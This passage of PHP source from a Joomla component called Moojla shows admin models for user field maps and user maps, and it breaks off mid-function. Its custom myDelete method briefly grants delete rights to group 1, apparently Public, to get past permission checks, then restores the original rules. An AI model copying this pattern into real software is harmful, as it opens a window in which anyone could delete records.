// add table path for when model gets used from other component
$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
// get instance of the table
return JTable::getInstance($type, $prefix, $config);
}
/**
* Method to get a single record.
*
* @param integer $pk The id of the primary key.
*
* @return mixed Object on success, false on failure.
*
* @since 1.6
*/
public function getItem($pk = null)
{
if ($item = parent::getItem($pk))
{
if (!empty($item->params) && !is_array($item->params))
{
// Convert the params field to an array.
$registry = new Registry;
$registry->loadString($item->params);
$item->params = $registry->toArray();
}
if (!empty($item->metadata))
{
// Convert the metadata field to an array.
$registry = new Registry;
$registry->loadString($item->metadata);
$item->metadata = $registry->toArray();
}
}
return $item;
}
/**
* Method to get the record form.
*
* @param array $data Data for the form.
* @param boolean $loadData True if the form is to load its own data
(default case), false if not.
* @param array $options Optional array of options for the form
creation.
*
* @return mixed A JForm object on success, false on failure
*
* @since 1.6
*/
public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
{
// set load data option
$options['load_data'] = $loadData;
// check if xpath was set in options
$xpath = false;
if (isset($options['xpath']))
{
$xpath = $options['xpath'];
unset($options['xpath']);
}
// check if clear form was set in options
$clear = false;
if (isset($options['clear']))
{
$clear = $options['clear'];
unset($options['clear']);
}
// Get the form.
$form = $this->loadForm('com_moojla.user_field_map',
'user_field_map', $options, $clear, $xpath);
if (empty($form))
{
return false;
}
$jinput = JFactory::getApplication()->input;
// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
if ($jinput->get('a_id'))
{
$id = $jinput->get('a_id', 0, 'INT');
}
// The back end uses id so we use that the rest of the time and set it to
0 by default.
else
{
$id = $jinput->get('id', 0, 'INT');
}
$user = JFactory::getUser();
// Check for existing item.
// Modify the form based on Edit State access controls.
if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.user_field_map.' . (int) $id))
|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
{
// Disable fields for display.
$form->setFieldAttribute('ordering', 'disabled',
'true');
$form->setFieldAttribute('published', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('ordering', 'filter',
'unset');
$form->setFieldAttribute('published', 'filter',
'unset');
}
// If this is a new item insure the greated by is set.
if (0 == $id)
{
// Set the created_by to this user
$form->setValue('created_by', null, $user->id);
}
// Modify the form based on Edit Creaded By access controls.
if (!$user->authorise('core.edit.created_by',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created_by',
'disabled', 'true');
// Disable fields for display.
$form->setFieldAttribute('created_by',
'readonly', 'true');
// Disable fields while saving.
$form->setFieldAttribute('created_by', 'filter',
'unset');
}
// Modify the form based on Edit Creaded Date access controls.
if (!$user->authorise('core.edit.created',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('created', 'filter',
'unset');
}
// Only load these values if no id is found
if (0 == $id)
{
// Set redirected view name
$redirectedView = $jinput->get('ref', null,
'STRING');
// Set field name (or fall back to view name)
$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
// Set redirected view id
$redirectedId = $jinput->get('refid', 0, 'INT');
// Set field id (or fall back to redirected view id)
$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
if (0 != $redirectedValue && $redirectedField)
{
// Now set the local-redirected field default value
$form->setValue($redirectedField, null, $redirectedValue);
}
}
return $form;
}
/**
* Method to get the script that have to be included on the form
*
* @return string script files
*/
public function getScript()
{
return 'media/com_moojla/js/user_field_map.js';
}
/**
* Method to test whether a record can be deleted.
*
* @param object $record A record object.
*
* @return boolean True if allowed to delete the record. Defaults to the
permission set in the component.
*
* @since 1.6
*/
protected function canDelete($record)
{
if (!empty($record->id))
{
if ($record->published != -2)
{
return;
}
$user = JFactory::getUser();
// The record has been set. Check the record permissions.
return $user->authorise('core.delete',
'com_moojla.user_field_map.' . (int) $record->id);
}
return false;
}
/**
* Method to test whether a record can have its state edited.
*
* @param object $record A record object.
*
* @return boolean True if allowed to change the state of the record.
Defaults to the permission set in the component.
*
* @since 1.6
*/
protected function canEditState($record)
{
$user = JFactory::getUser();
$recordId = (!empty($record->id)) ? $record->id : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit.state',
'com_moojla.user_field_map.' . (int) $recordId);
if (!$permission && !is_null($permission))
{
return false;
}
}
// In the absense of better information, revert to the component
permissions.
return parent::canEditState($record);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
* @since 2.5
*/
protected function allowEdit($data = array(), $key = 'id')
{
// Check specific edit permission then general edit permission.
return JFactory::getUser()->authorise('core.edit',
'com_moojla.user_field_map.'. ((int) isset($data[$key]) ?
$data[$key] : 0)) or parent::allowEdit($data, $key);
}
/**
* Prepare and sanitise the table data prior to saving.
*
* @param JTable $table A JTable object.
*
* @return void
*
* @since 1.6
*/
protected function prepareTable($table)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if (isset($table->name))
{
$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
}
if (isset($table->alias) && empty($table->alias))
{
$table->generateAlias();
}
if (empty($table->id))
{
$table->created = $date->toSql();
// set the user
if ($table->created_by == 0 || empty($table->created_by))
{
$table->created_by = $user->id;
}
// Set ordering to the last item if not set
if (empty($table->ordering))
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('MAX(ordering)')
->from($db->quoteName('#__moojla_user_field_map'));
$db->setQuery($query);
$max = $db->loadResult();
$table->ordering = $max + 1;
}
}
else
{
$table->modified = $date->toSql();
$table->modified_by = $user->id;
}
if (!empty($table->id))
{
// Increment the items version number.
$table->version++;
}
}
/**
* Method to get the data that should be injected in the form.
*
* @return mixed The data for the form.
*
* @since 1.6
*/
protected function loadFormData()
{
// Check the session for previously entered form data.
$data =
JFactory::getApplication()->getUserState('com_moojla.edit.user_field_map.data',
array());
if (empty($data))
{
$data = $this->getItem();
// run the perprocess of the data
$this->preprocessData('com_moojla.user_field_map', $data);
}
return $data;
}
/**
* Method to get the unique fields of this table.
*
* @return mixed An array of field names, boolean false if none is set.
*
* @since 3.0
*/
protected function getUniqueFields()
{
return false;
}
/**
* Method to delete one or more records.
*
* @param array &$pks An array of record primary keys.
*
* @return boolean True if successful, false if an error occurs.
*
* @since 12.2
*/
public function delete(&$pks)
{
if (!parent::delete($pks))
{
return false;
}
return true;
}
/**
* Method to change the published state of one or more records.
*
* @param array &$pks A list of the primary keys to change.
* @param integer $value The value of the published state.
*
* @return boolean True on success.
*
* @since 12.2
*/
public function publish(&$pks, $value = 1)
{
if (!parent::publish($pks, $value))
{
return false;
}
return true;
}
/**
* Method to perform batch operations on an item or a set of items.
*
* @param array $commands An array of commands to perform.
* @param array $pks An array of item ids.
* @param array $contexts An array of item contexts.
*
* @return boolean Returns true on success, false on failure.
*
* @since 12.2
*/
public function batch($commands, $pks, $contexts)
{
// Sanitize ids.
$pks = array_unique($pks);
ArrayHelper::toInteger($pks);
// Remove any values of zero.
if (array_search(0, $pks, true))
{
unset($pks[array_search(0, $pks, true)]);
}
if (empty($pks))
{
$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
return false;
}
$done = false;
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->contentType = new JUcmType;
$this->type =
$this->contentType->getTypeByTable($this->tableClassName);
$this->canDo = MoojlaHelper::getActions('user_field_map');
$this->batchSet = true;
if (!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
if ($this->type == false)
{
$type = new JUcmType;
$this->type = $type->getTypeByAlias($this->typeAlias);
}
$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');
if (!empty($commands['move_copy']))
{
$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');
if ($cmd == 'c')
{
$result = $this->batchCopy($commands, $pks, $contexts);
if (is_array($result))
{
foreach ($result as $old => $new)
{
$contexts[$new] = $contexts[$old];
}
$pks = array_values($result);
}
else
{
return false;
}
}
elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
{
return false;
}
$done = true;
}
if (!$done)
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
// Clear the cache
$this->cleanCache();
return true;
}
/**
* Batch copy items to a new category or current.
*
* @param integer $values The new values.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return mixed An array of new IDs on success, boolean false on
failure.
*
* @since 12.2
*/
protected function batchCopy($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('user_field_map');
}
if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
{
return false;
}
// get list of unique fields
$uniqueFields = $this->getUniqueFields();
// remove move_copy from array
unset($values['move_copy']);
// make sure published is set
if (!isset($values['published']))
{
$values['published'] = 0;
}
elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
$values['published'] = 0;
}
$newIds = array();
// Parent exists so let's proceed
while (!empty($pks))
{
// Pop the first ID off the stack
$pk = array_shift($pks);
$this->table->reset();
// only allow copy if user may edit this item.
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// Only for strings
if (MoojlaHelper::checkString($this->table->juserfields)
&& !is_numeric($this->table->juserfields))
{
$this->table->juserfields =
$this->generateUnique('juserfields',$this->table->juserfields);
}
// insert all set values
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
if (strlen($value) > 0 && isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// update all unique fields
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
}
}
// Reset the ID because we are making a copy
$this->table->id = 0;
// TODO: Deal with ordering?
// $this->table->ordering = 1;
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
// Get the new item ID
$newId = $this->table->get('id');
// Add the new ID to the array
$newIds[$pk] = $newId;
}
// Clean the cache
$this->cleanCache();
return $newIds;
}
/**
* Batch move items to a new category
*
* @param integer $value The new category ID.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 12.2
*/
protected function batchMove($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('user_field_map');
}
if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// make sure published only updates if user has the permission.
if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
unset($values['published']);
}
// remove move_copy from array
unset($values['move_copy']);
// Parent exists so we proceed
foreach ($pks as $pk)
{
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// insert all set values.
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
// Do special action for access.
if ('access' === $key && strlen($value) > 0)
{
$this->table->$key = $value;
}
elseif (strlen($value) > 0 &&
isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
}
// Clean the cache
$this->cleanCache();
return true;
}
/**
* Method to save the form data.
*
* @param array $data The form data.
*
* @return boolean True on success.
*
* @since 1.6
*/
public function save($data)
{
$input = JFactory::getApplication()->input;
$filter = JFilterInput::getInstance();
// set the metadata to the Item Data
if (isset($data['metadata']) &&
isset($data['metadata']['author']))
{
$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
$metadata = new JRegistry;
$metadata->loadArray($data['metadata']);
$data['metadata'] = (string) $metadata;
}
// Set the Params Items to data
if (isset($data['params']) &&
is_array($data['params']))
{
$params = new JRegistry;
$params->loadArray($data['params']);
$data['params'] = (string) $params;
}
// Alter the unique field for save as copy
if ($input->get('task') === 'save2copy')
{
// Automatic handling of other unique fields
$uniqueFields = $this->getUniqueFields();
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
}
}
}
if (parent::save($data))
{
return true;
}
return false;
}
/**
* Method to generate a unique value.
*
* @param string $field name.
* @param string $value data.
*
* @return string New value.
*
* @since 3.0
*/
protected function generateUnique($field,$value)
{
// set field value unique
$table = $this->getTable();
while ($table->load(array($field => $value)))
{
$value = StringHelper::increment($value);
}
return $value;
}
/**
* Method to change the title
*
* @param string $title The title.
*
* @return array Contains the modified title and alias.
*
*/
protected function _generateNewTitle($title)
{
// Alter the title
$table = $this->getTable();
while ($table->load(array('title' => $title)))
{
$title = StringHelper::increment($title);
}
return $title;
}
}
models/user_map.php000064400000056154151165724400010373 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage user_map.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Moojla User_map Model
*/
class MoojlaModelUser_map extends JModelAdmin
{
/**
* The tab layout fields array.
*
* @var array
*/
protected $tabLayoutFields = array(
'details' => array(
'left' => array(
'debug',
'jid',
'userimage'
),
'right' => array(
'updatetype',
'mid'
)
)
);
/**
* @var string The prefix to use with controller messages.
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA';
/**
* The type alias for this content type.
*
* @var string
* @since 3.2
*/
public $typeAlias = 'com_moojla.user_map';
/**
* Returns a Table object, always creating it
*
* @param type $type The table type to instantiate
* @param string $prefix A prefix for the table class name. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JTable A database object
*
* @since 1.6
*/
public function getTable($type = 'user_map', $prefix =
'MoojlaTable', $config = array())
{
// add table path for when model gets used from other component
$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
// get instance of the table
return JTable::getInstance($type, $prefix, $config);
}
/***[JCBGUI.admin_view.php_model.130.$$$$]***/
public function myDelete($pk){
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('rules',
'id')));
$query->from($db->quoteName('#__assets'));
$query->where($db->quoteName('name') . ' = '
. $db->quote('com_moojla'));
$db->setQuery($query);
$results = $db->loadObjectList();
$acls = json_decode($results[0]->rules);
$deleteAcl = null;
$permission = 'core.delete';
if(!property_exists($acls, $permission))
{
$acls->$permission = new stdClass();
}
$pub = '1';
$acls->$permission->$pub = 1;
$obj = new stdClass();
$obj->id = $results[0]->id;
$obj->rules = json_encode($acls);
JFactory::getDbo()->updateObject('#__assets', $obj,
'id');
$obj = new stdClass();
$obj->id = $pk;
$obj->published = -2;
JFactory::getDbo()->updateObject('#__moojla_user_map',
$obj, 'id'); // trash item
$pks = array($pk);
$res = $this->delete($pks);
$obj = new stdClass();
$obj->id = $results[0]->id;
$obj->rules = $results[0]->rules;
JFactory::getDbo()->updateObject('#__assets', $obj,
'id');
return $res;
}
/***[/JCBGUI$$$$]***/
/**
* Method to get a single record.
*
* @param integer $pk The id of the primary key.
*
* @return mixed Object on success, false on failure.
*
* @since 1.6
*/
public function getItem($pk = null)
{
if ($item = parent::getItem($pk))
{
if (!empty($item->params) && !is_array($item->params))
{
// Convert the params field to an array.
$registry = new Registry;
$registry->loadString($item->params);
$item->params = $registry->toArray();
}
if (!empty($item->metadata))
{
// Convert the metadata field to an array.
$registry = new Registry;
$registry->loadString($item->metadata);
$item->metadata = $registry->toArray();
}
}
return $item;
}
/**
* Method to get the record form.
*
* @param array $data Data for the form.
* @param boolean $loadData True if the form is to load its own data
(default case), false if not.
* @param array $options Optional array of options for the form
creation.
*
* @return mixed A JForm object on success, false on failure
*
* @since 1.6
*/
public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
{
// set load data option
$options['load_data'] = $loadData;
// check if xpath was set in options
$xpath = false;
if (isset($options['xpath']))
{
$xpath = $options['xpath'];
unset($options['xpath']);
}
// check if clear form was set in options
$clear = false;
if (isset($options['clear']))
{
$clear = $options['clear'];
unset($options['clear']);
}
// Get the form.
$form = $this->loadForm('com_moojla.user_map',
'user_map', $options, $clear, $xpath);
if (empty($form))
{
return false;
}
$jinput = JFactory::getApplication()->input;
// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
if ($jinput->get('a_id'))
{
$id = $jinput->get('a_id', 0, 'INT');
}
// The back end uses id so we use that the rest of the time and set it to
0 by default.
else
{
$id = $jinput->get('id', 0, 'INT');
}
$user = JFactory::getUser();
// Check for existing item.
// Modify the form based on Edit State access controls.
if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.user_map.' . (int) $id))
|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
{
// Disable fields for display.
$form->setFieldAttribute('ordering', 'disabled',
'true');
$form->setFieldAttribute('published', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('ordering', 'filter',
'unset');
$form->setFieldAttribute('published', 'filter',
'unset');
}
// If this is a new item insure the greated by is set.
if (0 == $id)
{
// Set the created_by to this user
$form->setValue('created_by', null, $user->id);
}
// Modify the form based on Edit Creaded By access controls.
if (!$user->authorise('core.edit.created_by',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created_by',
'disabled', 'true');
// Disable fields for display.
$form->setFieldAttribute('created_by',
'readonly', 'true');
// Disable fields while saving.
$form->setFieldAttribute('created_by', 'filter',
'unset');
}
// Modify the form based on Edit Creaded Date access controls.
if (!$user->authorise('core.edit.created',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('created', 'filter',
'unset');
}
// Only load these values if no id is found
if (0 == $id)
{
// Set redirected view name
$redirectedView = $jinput->get('ref', null,
'STRING');
// Set field name (or fall back to view name)
$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
// Set redirected view id
$redirectedId = $jinput->get('refid', 0, 'INT');
// Set field id (or fall back to redirected view id)
$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
if (0 != $redirectedValue && $redirectedField)
{
// Now set the local-redirected field default value
$form->setValue($redirectedField, null, $redirectedValue);
}
}
return $form;
}
/**
* Method to get the script that have to be included on the form
*
* @return string script files
*/
public function getScript()
{
return 'media/com_moojla/js/user_map.js';
}
/**
* Method to test whether a record can be deleted.
*
* @param object $record A record object.
*
* @return boolean True if allowed to delete the record. Defaults to the
permission set in the component.
*
* @since 1.6
*/
protected function canDelete($record)
{
if (!empty($record->id))
{
if ($record->published != -2)
{
return;
}
$user = JFactory::getUser();
// The record has been set. Check the record permissions.
return $user->authorise('core.delete',
'com_moojla.user_map.' . (int) $record->id);
}
return false;
}
/**
* Method to test whether a record can have its state edited.
*
* @param object $record A record object.
*
* @return boolean True if allowed to change the state of the record.
Defaults to the permission set in the component.
*
* @since 1.6
*/
protected function canEditState($record)
{
$user = JFactory::getUser();
$recordId = (!empty($record->id)) ? $record->id : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit.state',
'com_moojla.user_map.' . (int) $recordId);
if (!$permission && !is_null($permission))
{
return false;
}
}
// In the absense of better information, revert to the component
permissions.
return parent::canEditState($record);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
* @since 2.5
*/
protected function allowEdit($data = array(), $key = 'id')
{
// Check specific edit permission then general edit permission.
return JFactory::getUser()->authorise('core.edit',
'com_moojla.user_map.'. ((int) isset($data[$key]) ? $data[$key] :
0)) or parent::allowEdit($data, $key);
}
/**
* Prepare and sanitise the table data prior to saving.
*
* @param JTable $table A JTable object.
*
* @return void
*
* @since 1.6
*/
protected function prepareTable($table)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if (isset($table->name))
{
$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
}
if (isset($table->alias) && empty($table->alias))
{
$table->generateAlias();
}
if (empty($table->id))
{
$table->created = $date->toSql();
// set the user
if ($table->created_by == 0 || empty($table->created_by))
{
$table->created_by = $user->id;
}
// Set ordering to the last item if not set
if (empty($table->ordering))
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('MAX(ordering)')
->from($db->quoteName('#__moojla_user_map'));
$db->setQuery($query);
$max = $db->loadResult();
$table->ordering = $max + 1;
}
}
else
{
$table->modified = $date->toSql();
$table->modified_by = $user->id;
}
if (!empty($table->id))
{
// Increment the items version number.
$table->version++;
}
}
/**
* Method to get the data that should be injected in the form.
*
* @return mixed The data for the form.
*
* @since 1.6
*/
protected function loadFormData()
{
// Check the session for previously entered form data.
$data =
JFactory::getApplication()->getUserState('com_moojla.edit.user_map.data',
array());
if (empty($data))
{
$data = $this->getItem();
// run the perprocess of the data
$this->preprocessData('com_moojla.user_map', $data);
}
return $data;
}
/**
* Method to get the unique fields of this table.
*
* @return mixed An array of field names, boolean false if none is set.
*
* @since 3.0
*/
protected function getUniqueFields()
{
return false;
}
/**
* Method to delete one or more records.
*
* @param array &$pks An array of record primary keys.
*
* @return boolean True if successful, false if an error occurs.
*
* @since 12.2
*/
public function delete(&$pks)
{
if (!parent::delete($pks))
{
return false;
}
return true;
}
/**
* Method to change the published state of one or more records.
*
* @param array &$pks A list of the primary keys to change.
* @param integer $value The value of the published state.
*
* @return boolean True on success.
*
* @since 12.2
*/
public function publish(&$pks, $value = 1)
{
if (!parent::publish($pks, $value))
{
return false;
}
return true;
}
/**
* Method to perform batch operations on an item or a set of items.
*
* @param array $commands An array of commands to perform.
* @param array $pks An array of item ids.
* @param array $contexts An array of item contexts.
*
* @return boolean Returns true on success, false on failure.
*
* @since 12.2
*/
public function batch($commands, $pks, $contexts)
{
// Sanitize ids.
$pks = array_unique($pks);
ArrayHelper::toInteger($pks);
// Remove any values of zero.
if (array_search(0, $pks, true))
{
unset($pks[array_search(0, $pks, true)]);
}
if (empty($pks))
{
$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
return false;
}
$done = false;
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->contentType = new JUcmType;
$this->type =
$this->contentType->getTypeByTable($this->tableClassName);
$this->canDo = MoojlaHelper::getActions('user_map');
$this->batchSet = true;
if (!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
if ($this->type == false)
{
$type = new JUcmType;
$this->type = $type->getTypeByAlias($this->typeAlias);
}
$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');
if (!empty($commands['move_copy']))
{
$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');
if ($cmd == 'c')
{
$result = $this->batchCopy($commands, $pks, $contexts);
if (is_array($result))
{
foreach ($result as $old => $new)
{
$contexts[$new] = $contexts[$old];
}
$pks = array_values($result);
}
else
{
return false;
}
}
elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
{
return false;
}
$done = true;
}
if (!$done)
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
// Clear the cache
$this->cleanCache();
return true;
}
/**
* Batch copy items to a new category or current.
*
* @param integer $values The new values.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return mixed An array of new IDs on success, boolean false on
failure.
*
* @since 12.2
*/
protected function batchCopy($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('user_map');
}
if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
{
return false;
}
// get list of unique fields
$uniqueFields = $this->getUniqueFields();
// remove move_copy from array
unset($values['move_copy']);
// make sure published is set
if (!isset($values['published']))
{
$values['published'] = 0;
}
elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
$values['published'] = 0;
}
$newIds = array();
// Parent exists so let's proceed
while (!empty($pks))
{
// Pop the first ID off the stack
$pk = array_shift($pks);
$this->table->reset();
// only allow copy if user may edit this item.
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// Only for strings
if (MoojlaHelper::checkString($this->table->jid) &&
!is_numeric($this->table->jid))
{
$this->table->jid =
$this->generateUnique('jid',$this->table->jid);
}
// insert all set values
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
if (strlen($value) > 0 && isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// update all unique fields
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
}
}
// Reset the ID because we are making a copy
$this->table->id = 0;
// TODO: Deal with ordering?
// $this->table->ordering = 1;
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
// Get the new item ID
$newId = $this->table->get('id');
// Add the new ID to the array
$newIds[$pk] = $newId;
}
// Clean the cache
$this->cleanCache();
return $newIds;
}
/**
* Batch move items to a new category
*
* @param integer $value The new category ID.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 12.2
*/
protected function batchMove($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('user_map');
}
if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// make sure published only updates if user has the permission.
if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
unset($values['published']);
}
// remove move_copy from array
unset($values['move_copy']);
// Parent exists so we proceed
foreach ($pks as $pk)
{
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// insert all set values.
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
// Do special action for access.
if ('access' === $key && strlen($value) > 0)
{
$this->table->$key = $value;
